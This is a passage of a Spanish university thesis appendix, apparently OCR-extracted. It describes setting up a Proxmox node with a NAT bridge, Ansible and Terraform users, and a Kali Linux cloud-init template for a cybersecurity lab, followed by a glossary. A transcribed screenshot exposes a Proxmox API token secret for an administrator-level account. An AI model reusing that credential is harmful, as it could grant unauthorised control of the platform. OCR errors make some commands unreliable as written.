conexion remota. Con esto configurado, la ejecucién del playbook puede llevarse a cabo.

Finalizacion exitosa

En el despliegue, al igual que cuando se quiere levantar la infraestructura se limpia el espacio
de trabajo, en el proceso de la destrucciéon cuando se ha completado post exitosamente success,
se desea tener este espacio de trabajo limpio en el caso que no se quiera volver a desplegar mas

infraestructuras.
Finalizacion errénea
Cuando la ejecucién del pipeline fracasa totalmente failure, se intenta destruir lo que haya sido

creado de manera automatica, pero en el caso que una clonacién no llegue a finalizar, la instancia

sin configurar de la plantilla tiene que ser eliminada de manera manual.
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Apéndice E
Configuracion Proxmox

Plataforma prestada por la universidad, mediante la cual se empleara para instanciacién, manteni-

miento y monitorizacion de los LXC y maquinas virtuales desplegadas.

Desde un comienzo, dentro de Proxmox, se cre6 un nodo principal por parte de los técnicos de la
escuela, el cual servird para albergar los diferentes LXC, maquinas virtuales y a su vez, actuar como
router para abastecerles de una conexion a internet, debido a que, como el nodo se encuentra en una red
de la universidad, es necesario la creaciéon de una red interna privada, aislada, mediante un puente de red
a los que conectar los contenedores y maquinas virtuales, de este modo no se interfiere con la red de la

universidad.

El nodo posee las siguientes especificaciones:

S.O: Debian GNU/Linux 12

kernel: Linux 6.5.13-1-pve
» CPU: 4 x Intel(R) Xeon(R) Gold 6230 CPU @ 2.10GHz (2 Zécalos)

RAM: 15.63 GiB

Almacenamiento: 78.64 GiB

1. Configuraciéon de red

Para establecer la conexién entre el nodo principal y la red privada del ejercicio, comenzaremos creando

un puente de red utilizando el componente Linux Bridge, al que llamaremos vmbr0.

Para iniciar la creacion del puente de red, accedemos al nodo denominado tfg2010 y procedemos
a modificar el archivo de configuracién de las interfaces de red ubicado en /etc/network/interfaces. A

continuacién, agregamos la siguiente configuracién para el puente:

1 auto vmbrO

2 iface vmbrO inet static

3 address 192.168.1.1/24
! bridge-ports none

5 bridge-stp off

6 bridge-fd 0
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E. Configuraciéon Proxmox

Esta configuracion establece la direccion IP estatica del puente en 192.168.1.1/24 y desactiva el pro-
tocolo de arbol de expansiéon (Spanning Tree Protocol) para evitar bucles en la red. Ademads, se especifica

un tiempo de espera de forwarding del puente de 0 para una respuesta mas rapida en la red.

Una vez tengamos configurado el puente de red, para permitir que los contenedores LXC y las maquinas
virtuales en la red interna que vayamos a crear puedan acceder a Internet, es fundamental hacer que el
nodo tfg2010 actue como un router, habilitando el reenvio de paquetes IPv4 y el Enmascaramiento de

direcciones.

Por defecto, los sistemas Linux no reenvian paquetes entre interfaces de red para prevenir usos no
intencionados. Habilitar esta opcién es esencial para que el nodo funcione como un router, permitiendo

que los paquetes de datos se transmitan desde la red interna hacia otras redes, como Internet.

echo 1 > /proc/sys/net/ipv4/ip_forward

Se procede a configurar Iptables para aplicar enmascaramiento (masquerading) en la interfaz de salida
ens18. La regla de enmascaramiento es fundamental en un entorno de red donde las maquinas internas
utilizan direcciones IP privadas que no son enrutables en Internet. Al aplicar enmascaramiento, las
direcciones IP privadas de los paquetes salientes se reemplazan con la direccion IP publica del nodo
tefg2010. Esto no solo permite que los paquetes lleguen a su destino en Internet, sino que también
asegura que las respuestas de regreso puedan ser correctamente Enrutamiento de vuelta a las méquinas
internas. Sin esta configuracion, los paquetes desde la red interna no podrian ser traducidos y enviados

a través de la red externa, impidiendo cualquier acceso a Internet.

iptables -t nat -A POSTROUTING -o ens18 -j MASQUERADE

2. Configuracién interna nodo

Una vez tengamos la configuracién de red establecida dentro del nodo, es hora de pasar a la configu-

racion interna del nodo.

1. Creacion usuario Ansible

Comenzaremos con la creacién de un usuario dedicado a la herramienta Ansible que sea el encargado

de conectarse a los LXC y proceder a las configuraciones necesarias.

1 sudo adduser ansible

Agregamos al usuario Ansible al grupo sudo para autorizarle permisos de superusuario en el sistema.

1 sudo usermod -aG sudo ansible
2. Creacion clave SSH para las conexiones con los LXC

Una vez tengamos al usuario ansible configurado, debemos generar la Clave SSH que empleard el
usuario Ansible para conectarse a los LXC y a las maquinas virtuales, pudiendo asi ser configuradas.

El proceso de creacién es idéntico al realizado previamente en la maquina virtual principal del

proyecto [T}

115



E. Configuracién Proxmox

3. Copiar Clave SSH de host Jenkins

Dentro del usuario ansible, debemos de insertar la clave que empleard Jenkins para conectarse
al nodo y arrancar Ansible desde ahi. Para ello, debemos acceder a al directorio /home/ansi-
ble/.ssh/authorized__keys

3. Creacién usuario Terraform para API Proxmox

Para poder interactuar Terraform con Proxmox mediante la API, es necesario que Proxmox posea un
usuario dedicado a esta conexién, por lo tanto, se debe proceder a la creacién de un usuario en Proxmox

junto a sus permisos y clave privada para el acceso sin credenciales.
1. Creacién usuario
Comenzamos con la creacion grafica del usuario en el centro de datos de Proxmox, donde se rellenan

campos basicos como el Nombre de usuario, el Dominio al que debe pertenecer, siendo nuestro

caso el dominio Linuz PAM, dejando el resto de opciones por defecto.

Agregar: Usuario

Nombre de
usuario:

terraformUSR Nombre de pila:

Apellido:
Dominio: Linux PAM standard aut

Correo:
Grupao:

Caducar: never

[
m

Activado:

Comentario: This is a Terraform user |

Figura E.1: Creacién usuario Terraform

2. Generaciéon API TOKEN

Teniendo ya creado al usuario, debemos otorgarle un permiso de acceso para que se identifique sin
necesidad de credenciales, para ello crearemos un API TOKEN. Dentro de la creacién grafica, asig-
namos los valores deseados, en nuestro caso Usuario es el nombre de usuario asignado previamente
anidado con el @ y el dominio al que pertenece (terraformUSR@PAM), el ID del token se debe
asignar un ID al gusto del administrador y !muy importante! desmarcar Separaciéon de privile-
gios, debido a que de esta forma podemos transferir los privilegios del usuario creado previamente

a este token sin necesidad de duplicar los permisos.
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Agregar: Token

)

Usuario: terraformUSR@pam Separacion de [
privilegios:
1D del token: token_promox_terraform
Caducar: never
Comentario:

This is a Promox token API for Terraform user

© Ayuda

Figura E.2: Generacién token usuario Terraform

Al finalizar se nos mostrard una ventana emergente de un tinico uso, es importante guardar la clave

que se genera, ya que sino nunca mas se podra acceder a ella de nuevo y debemos crear otra.

Secreto del token

<)

ID del token: | terrafermUSR@pam!token_promox_terraform

Secreto: 46bffefd-6d7e-47f3-aaaf-44b11b07858b

Por favor registre el token de APl secreto - este sera Unicamente visualizado ahora

Yy Copiar valor secreto

Figura E.3: Token secreto usuario Terraform

3. Otorgar permisos al usuario Terraform

Agregar: Permisos de usuario (0 Agregar. Permisos de usuario =

Ruta: / Ruta: Istorageflocal

Usuario: terraformUSR@pam Usuario: terraformUSR@pam

Ral: | PVEAdmin | Rol: | Administrator |
Propagar: %] Propagar: k4

(a) Permisos PVEAdmin en Raiz

(b) Permisos Administrador volumen local

Figura E.4: Permisos asignados al usuario Terraform

117



E. Configuraciéon Proxmox

4. Creaciéon plantilla Cloud-init para red atacante

Dentro del proyecto, se proveera una maquina virtual Kali Linuz en una red simulada de ataque, para
permitir que los usuarios aborden los ejercicios de Ciberseguridad de manera efectiva. La eleccién de Kali
Linux es esencial, ya que esta distribucion estd disefiada especificamente para pruebas de penetracién y
analisis de seguridad. Sus herramientas integradas y configuraciones optimizadas la convierten en una

plataforma idénea para explorar escenarios de hacking ético y defensas correspondientes

1. Descarga e instalacién imagen Kali QEMU

Dentro del nodo Proxmox, descargamos la imagen Kali que vamos a emplear para realizar los

ejercicios en nuestro entorno Proxmox, para ello empleamos lo siguiente:

wget https://cdimage.Kali.org/Kali-2024.1/Kali-1linux-2024.1-gemu-amd64.7z

Extraemos el fichero comprimido

1 7z x Kali-linux-2024.1-gemu-amd64.7z

Descargamos los paquetes necesarios para poder modificar y acceder a los discos de maquinas

virtuales que vayamos a emplear:

apt install libguestfs-tools
2. Preparacion de la maquina virtual base dentro del nodo

Una vez tenemos la imagen descomprimida dentro del nodo, procedemos a la creacién y configura-
cién de la maquina virtual que emplearemos como modelo para crear las maquinas virtuales desde
Cloud-init.

I virt-customize -a Kali-linux-2024.1-gemu-amd64.qcow2 --install cloud-init

Procedemos isntalar Qemu-guest-agent, el cual es un Daemon que se instala en el sistema operativo
de la maquina QEMU invitado. Se utiliza para intercambiar informacién entre el host Proxmox y

el invitado, y para ejecutar comandos en el invitado.

1 virt-customize -a Kali-linux-2024.1-gemu-amd64.qcow2 --install gemu-guest-agent

Instalamos el servicio SSH dentro de la maquina virtual.

1 virt-customize -a Kali-linux-2024.1-gemu-amd64.qcow2

2 —-run-command 'systemctl enable ssh.service'
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3. Configuracién de la maquina virtual base de manera gréafica

Para configurar la maquina virtual, procedemos a emplear el entorno grafico de Proxmox para que
la configuracién sea mas intuitiva y facil de realizar, para ello, debemos de dirigirnos a Crear VM

y comenzard la configuracion.

Comenzamos con una configuraciéon general de la maquina, donde asignaremos el Nodo tfg2010,
una VM ID que sea distintiva de las que vayamos a crear en las futuras maquinas virtuales,
como 1000, el Nombre a dar a la plantilla, en mi caso es template-Kali, y el resto de opciones se

mantienen por defecto.

Crear: Maguina virtual )

[oeners S

Nodo: tfg2010 Conjunto de
recursos:
VM ID: 1000
Nombre: template-kali
Iniciar al Orden de any
arrangue: inicio/apagado: !
Retardo de inicio: default

Tiempo de espera

default
de apagado: elau

Etiquetas

na etiqueta | 4

Figura E.5: Creacién maquina virtual - General

Seguimos con el sistema operativo, donde para la configuracion de Cloud.init, es necesario No usar
algtin medio actualmente es decir, ninguna imagen de disco, ya que méas adelante se configuraré.
En cuanto al Tipo de sistema operativo, se trata de un Linuz, por tratarse de una imagen Kali,

con la Versién por defecto 6.z - 2.6 Kernel.

Crear: Magquina virtual )

General E Sistema

(") Usar imagen de disco {ISO) de CD/DVD : Sistema operativo del Guest:
Tipo: Linux
Version: 6.x - 2.6 Kernel

(C) Usar lector fisico de CD/DVD

(@ No usar algun medio

Figura E.6: Creaciéon maquina virtual - SO
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Procedemos a configurar el Sistema en si de la plantilla, donde la Tarjeta grafica, Maquina
y BIOS se mantienen Por defecto. En cuanto al Controlador SCSI le asignamos VirtIO SCSI

single y Qemu Agent se debe de marcar como Verdadero.

Crear: Maquina virtual X

General SO EEEGLEN  Discos

Tarjeta grafica: Por defecto Controlador VirtlO SCS! single
SCSlk

Maquina: Por defecto (i440fx)
Qemu Agent: [

Firmware

BIOS: Por defecto (SeaBlOS)

Agregar TPM:  []

Figura E.7: Creacién méaquina virtual - Sistema

En cuanto a la configuracién de los discos, como se procederd a agregar uno nuevo posteriormente,

debemos de eliminar el que se encuentra establecido por defecto.

Crear: Maguina virtual )
General S0 Sisterna @ CPU

No hay discos

Figura E.8: Creacién méaquina virtual - Discos

La configuracién de la CPU es simple, como emplearemos Cloud-Init para la futura configuracion,

no es necesario modificar los valores, por lo tanto, los dejaremos por defecto.

Crear: Maguina virtual )

General S0 Sistema Discos Memaoria

Zdcalos: 1 Tipo: host X
Nucleos: 4 Total de Nucleos: 4
VCPUs: 4 Unidades de 100
CPU: -
Limite de CPU: ilimitado
Activar NUMA: [
Afinidad de la P
CPU- Todos los nicleos

Figura E.9: Creaciéon maquina virtual - CPU

120



E. Configuracién Proxmox

Referente a la configuracion de la memoria, pasa igual que con la configuracion de la CPU, como se
empleard Cloud-Init, podemos modificar el valor de la memoria base por defecto que posteriormente

se vera modificada en la clonacién.

Crear: Maguina virtual )

General S0 Sistema Discos CPU m Red

Memaria (MiB): 2048

Minimo de memeoria (MiB): | 2048
Dispositivo Ballooning: kA

Figura E.10: Creacién méquina virtual - Memoria

Para la configuracion del dispositivo de red, debemos de seleccionar el Puente que se vinculara
con el dispositivo, siendo el ya previamente creado vmbr0. En cuanto al Modelo, haremos uso

de VIRTIO (paravirtualizado), por ser la mejor opcién para Proxmox VE y asi reducir la carga
hardware.

Crear: Maquina virtual @)

General S0 Sistema Discos CPU Memoria Confirmar

[] Sin dispositivo de red

Puente: vmbr0 Modelo: VirtlO (paravirtualizado)
Etiqueta VLAN: | Ninguna VLAN Direccién MAC: | auto
Cortafuego: %]
Desconectar: O Tasa I!'mite unlimited
(MB/s):
MTU: 1500 (1 = bridge MTU) '

Multiqueue:

Figura E.11: Creacién méaquina virtual - Red
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Una vez tengamos la configurada la méquina virtual y mantener desmarcada la opcion de Iniciar

después de la creacion, se debe proceder a confirmar.

Crear: Maguina virtual )

General S0 Sistema Discos CPU Memaria Read

Key ] Value

agent 1

cores 4

cpu host

ide2 none media=cdrom
memory 2048

name template-kali

netl virtio,bridge=vmbr0 firewall=1
nodename tfg2010

numa 0

ostype 126

scsihw virtio-scsi-single
sockets 1

vmid 1000

[] Iniciar después de la creacion

Figura E.12: Creacién méaquina virtual - Confirmacion

Es importante tener en cuenta, llegados a este punto, que la maquina virtual configurada no debe
ser arrancada en ninguna circunstancia sin antes haber confirmado la creacién de la plantilla,
debido a que cuando se enciende, esta maquina genera IDs tUnicos, como la direccion MAC, las

cuales no se generarfan de manera diferente si creamos la plantilla tras un arranque.

Una vez creado el esqueleto de la méquina virtual, dentro del nodo principal, debemos importar el

disco con la imagen Kali que hemos descomprimido previamente:

1 gqm importdisk 1000 Kali-linux-2024.1-gemu-amd64.qcow2 local --format qcow2

Procedemos a agregar un disco sin usar a la méquina virtual creada, seleccionando el Bus/Dispo-

sitivo como SCSI y el resto de valores por defecto.

Agregar: Disco sin usar (9]

m Ancho de banda
Bus/Dispositivo: | SCSI 0 Caché: Por defecto (Mo hay me

Controlador VirtlQ SCSI single Descartar: |
SCSI:
10 thread:
Imagen del local: 1000/vm-1000-dis|
disco:
Emulacion de O Respaldo:
S3D:
Saltar |
Sdlo lectura: ] replicacion:
10 asincrono: Por defecto (io_uring)

Figura E.13: Configuracién maquina virtual - asignacién disco
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Una vez agregado el disco, se necesita incorporar el dispositivo de Cloud-init para poder realizar
la configuracién posterior en la maquina clonada con Terraform, donde el Bus/Dispositivo es
de tipo IDE, en el sistema de Almacenamiento seleccionamos el dispositivo de almacenamiento

llamado, en nuestro caso, local y como Formato se debe agregar Imagen de disco QEMU.
Agregar: Dispositivo CloudInit )

Bus/Dispositivo: | IDE ]

Almacenamiento: | local |

Formato: Imagen de disco QEML

Figura E.14: Configuracién maquina virtual - Dispositivo Cloud-init

Para que la maquina arranque a la perfeccion, debemos asignar un orden para el botado, para ello,

debemos activar y priorizar como primer dispositivo el disco agregado previamente scsi0.

Editar: Orden de arranque (x)

= Activade | Dispositivo Descripcion
= local:1000/vm-1000-disk-0.qcow2,lothread=1,size=8398...
= 2 A @ ide2 none media=cdrom

= 3 A = netl virtio=BC:24:11:28:76:7E bridge=vmbr( firewall=1

Arrastre y suelte para reordenar

0 anus ==

Figura E.15: Configuracién maquina virtual - Orden de arranque

4. Creacién plantilla de la maquina virtual

Procedemos a confirmar la creacién de la plantilla de manera definitiva, para ello tenemos que
seleccionar la maquina virtual que hemos configurado y en el apartado Mds — Crear plantilla,

podemos crearla.
Confirmar =)

)| WM 1000 - Convertir a plantilla

Figura E.16: Confirmacion creacién plantilla maquina virtual
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Glosario de términos

A

Ad hoc : Comando creado o hecho para un propédsito o caso especifico, no planeado previamente.
Ansible : Una herramienta de automatizacion de configuracién y gestion de infraestructuras.
Apache : Un servidor web de cédigo abierto y gratuito.

API : Interfaz de Programacion de Aplicaciones, un conjunto de definiciones y protocolos para integrar

software.
API TOKEN : Un token de autenticaciéon para acceder a una API.
Automatizacion : El uso de tecnologia para realizar tareas sin intervenciéon humana.

AWS : Amazon Web Services, servicios en la nube de Amazon que incluyen computacién, almacena-

miento, bases de datos y mas, para escalabilidad y crecimiento empresarial.

Azure : Servicios en la nube de Microsoft que incluyen computacién, almacenamiento, redes y mas, para

construir y administrar aplicaciones globalmente.

B

Bypass : Eludir o evitar una medida de seguridad o restriccién.

C

CD : Entrega Continua, una practica donde el c6digo se construye, prueba y libera automaticamente en

produccion.

CI : Integracién Continua, una practica de desarrollo de software donde los desarrolladores integran

cambios en el codigo frecuentemente.
Ciberseguridad : La practica de proteger sistemas, redes y programas de ataques digitales.
Clave SSH : Una clave criptografica utilizada para autenticar el acceso a servidores mediante SSH.
Cloud-init : Una herramienta utilizada para inicializar méquinas virtuales en la nube.

Contenerizacion : La encapsulaciéon de una aplicacién y sus dependencias en un contenedor para ga-

rantizar su funcionamiento en cualquier entorno.

CPU : Unidad Central de Procesamiento, el componente principal de procesamiento de una computado-

ra.
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D

Daemon : Proceso que se ejecuta en segundo plano en un sistema operativo, proporcionando servicios

o realizando tareas sin intervencion directa del usuario.
Debian : Una distribuciéon de Linux conocida por su estabilidad y comunidad activa.

DevOps : Conjunto de practicas que combinan el desarrollo de software (Dev) y las operaciones de TI
(Ops), con el objetivo de acortar el ciclo de vida del desarrollo y entregar software de alta calidad

de manera continua.

DNS : Sistema de Nombres de Dominio, traduce nombres de dominio a direcciones IP.

E

Ejecucién comandos : La capacidad de ejecutar comandos en un sistema operativo, generalmente en

el contexto de un ataque.

Enmascaramiento : Una técnica de red que permite a miiltiples dispositivos en una red local usar una

sola direccion IP publica para conectarse a Internet, ocultando las direcciones IP internas.

Enrutamiento : El proceso de seleccionar caminos en una red informatica para enviar datos desde el

origen hasta el destino a través de routers.

Escala privilegios : Una técnica utilizada para obtener niveles de acceso mas altos en un sistema

informéatico.

F
Firewall : Un sistema de seguridad que monitorea y controla el trafico de red entrante y saliente.

Fuerza bruta : Un método de ataque que intenta todas las combinaciones posibles para descubrir

contrasenas u otros datos.

G

Gateway : Un dispositivo de red que actiia como un punto de acceso para conectar diferentes redes,

permitiendo la comunicacién entre ellas.

GCP : Google Cloud Platform, plataforma de Google para servicios en la nube que proporciona recursos

de computo, almacenamiento, redes y herramientas de machine learning globalmente.

GitHub : Una plataforma de alojamiento para proyectos de desarrollo de software que utiliza el sistema

de control de versiones Git.

H

Hacking ético : Practica de realizar pruebas y evaluaciones de seguridad en sistemas informaticos de

manera legal y autorizada, con el objetivo de identificar y corregir vulnerabilidades.

HCL : HashiCorp Configuration Language, un lenguaje de configuraciéon utilizado por herramientas

como Terraform.
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Hipervisor : Software que permite crear y ejecutar maquinas virtuales.
Host : Una computadora o dispositivo que participa en una red.

HTTP : Hypertext Transfer Protocol, un protocolo de comunicaciéon utilizado en la World Wide Web

para la transferencia de documentos de hipertexto y otros recursos, como iméagenes y videos.

IaC : Infraestructura como cédigo, una metodologia para gestionar y aprovisionar centros de datos

mediante archivos de definicién legibles por maquinas.

IP : Protocolo de Internet, un protocolo de comunicaciones para identificar y localizar dispositivos en

una red.

IP privada : Una direccién IP utilizada dentro de una red local (LAN) para identificar dispositivos
internamente. No es accesible directamente desde Internet y puede ser reutilizada en diferentes

redes locales.

IP piblica : Una direccion IP que es accesible desde Internet y es tinica en todo el mundo. Se utiliza

para identificar dispositivos que se conectan a Internet.

Iptables : Una herramienta de linea de comandos para configurar y administrar las reglas del firewall

en sistemas operativos basados en Linux.

IPv4 : Protocolo de Internet versién 4, la cuarta versiéon del protocolo IP.

J
Jenkins : Una herramienta de integracion continua y entrega continua de cédigo abierto.

Jenkinsfile : Un archivo que define un pipeline para Jenkins.

K

Kali : Kali Linux, una distribuciéon de Linux disenada para pruebas de penetracién y seguridad infor-

matica.

Kanban : Un método de gestion de proyectos que utiliza tarjetas visuales para rastrear el progreso de

las tareas.

Kernel : El ntcleo del sistema operativo que gestiona las operaciones del sistema y el hardware.

L

LFI : Local File Inclusion, una vulnerabilidad de seguridad que permite a un atacante incluir archivos

locales en un servidor web.
Linux : Un sistema operativo de cddigo abierto basado en el ntcleo Linux.
Linux Bridge : Una herramienta para crear un puente de red entre interfaces de red en Linux.

Logs : Archivos de registro que contienen mensajes sobre el funcionamiento de aplicaciones, sistemas o

servicios.
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LXC : Linux Containers, una tecnologia de contenedorizacién que permite ejecutar multiples sistemas

Linux en un solo host.

M

MySQL : Un sistema de gestién de bases de datos relacional de c6digo abierto.

N

NAT : Network Address Translation, una técnica utilizada en redes de computadoras para remapear
direcciones IP, modificando las direcciones de origen o destino de los paquetes IP mientras pasan a

través de un enrutador o firewall.

Nodo : Un servidor fisico en un clister de Proxmox VE que se encarga de ejecutar maquinas virtuales

y contenedores, formando parte de la infraestructura del centro de datos.

Nucleos : Unidades de procesamiento central dentro de un procesador, que ejecutan instrucciones y

realizan cdlculos.

P

PAM : Pluggable Authentication Modules, un mecanismo para integrar multiples métodos de autenti-

cacion en un servicio.

Pentesting : Pruebas de penetracion, una practica de seguridad informatica donde se evalua un sistema

o red en busca de vulnerabilidades que un atacante podria explotar.
PHP : Un lenguaje de scripting de proposito general especialmente adecuado para el desarrollo web.

Pipeline : Una serie de pasos que el software pasa desde el desarrollo hasta la produccion dentro del

fichero jenkinsfile.

Pivotaje : Una técnica utilizada por atacantes para moverse lateralmente dentro de una red comprome-
tida.

Playbook : Un archivo YAML que describe un conjunto de tareas de automatizacién en Ansible.

Proxmox VE : Una plataforma de virtualizacion de cdédigo abierto para administrar maquinas virtuales,

contenedores y almacenamiento.

Puerto : Un punto de acceso légico en una red de computadoras utilizado para intercambiar datos.

Q

QEMU : Un emulador y virtualizador de hardware de c6digo abierto.

R
RAM : Memoria de Acceso Aleatorio, un tipo de memoria volatil para almacenar datos temporales.
Redireccién de puertos : La practica de redirigir trafico de una IP y puerto a otro destino.

Router : Un dispositivo que dirige el trafico de datos entre diferentes redes.
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S
S.O : Sistema Operativo, el software que gestiona el hardware y software de una computadora.

Script : Un conjunto de instrucciones que se ejecutan en un entorno de scripting para automatizar

tareas.
Shell : Una interfaz que permite a los usuarios interactuar con el sistema operativo mediante comandos.

Shell inversa : Una técnica donde un atacante obtiene acceso a un sistema comprometido haciendo que

este se conecte a la maquina del atacante.

SQL : Structured Query Language es un lenguaje de programacion estandar especificamente disenado

para gestionar y manipular bases de datos relacionales.

SSH : Secure Shell, un protocolo para acceder de manera segura a un dispositivo remoto.

T

TCP : Transmission Control Protocol, un protocolo fundamental de Internet que permite la transmisién

de datos fiable y ordenada entre aplicaciones que se ejecutan en hosts conectados a una red.

Terraform : Una herramienta de infraestructura como cédigo para crear, administrar y actualizar in-

fraestructuras de manera segura y eficiente.
TFG : Trabajo de Fin de Grado, un proyecto final requerido para completar un grado universitario.

TT : Tecnologias de la Informacién, el uso de computadoras para almacenar, recuperar, transmitir y

manipular datos.

TTY : teletypewriter, se refiere a un terminal virtual que facilita la interaccion del usuario con el sistema

operativo, tanto local como remotamente.

Vv

Virtualizacién : La creacién de una versién virtual de un recurso informatico, como un servidor, alma-

cenamiento o red.

VSCode : Visual Studio Code, un editor de codigo fuente desarrollado por Microsoft.

Y

YAML : Yet Another Markup Language, un formato de serializacion de datos legible por humanos.
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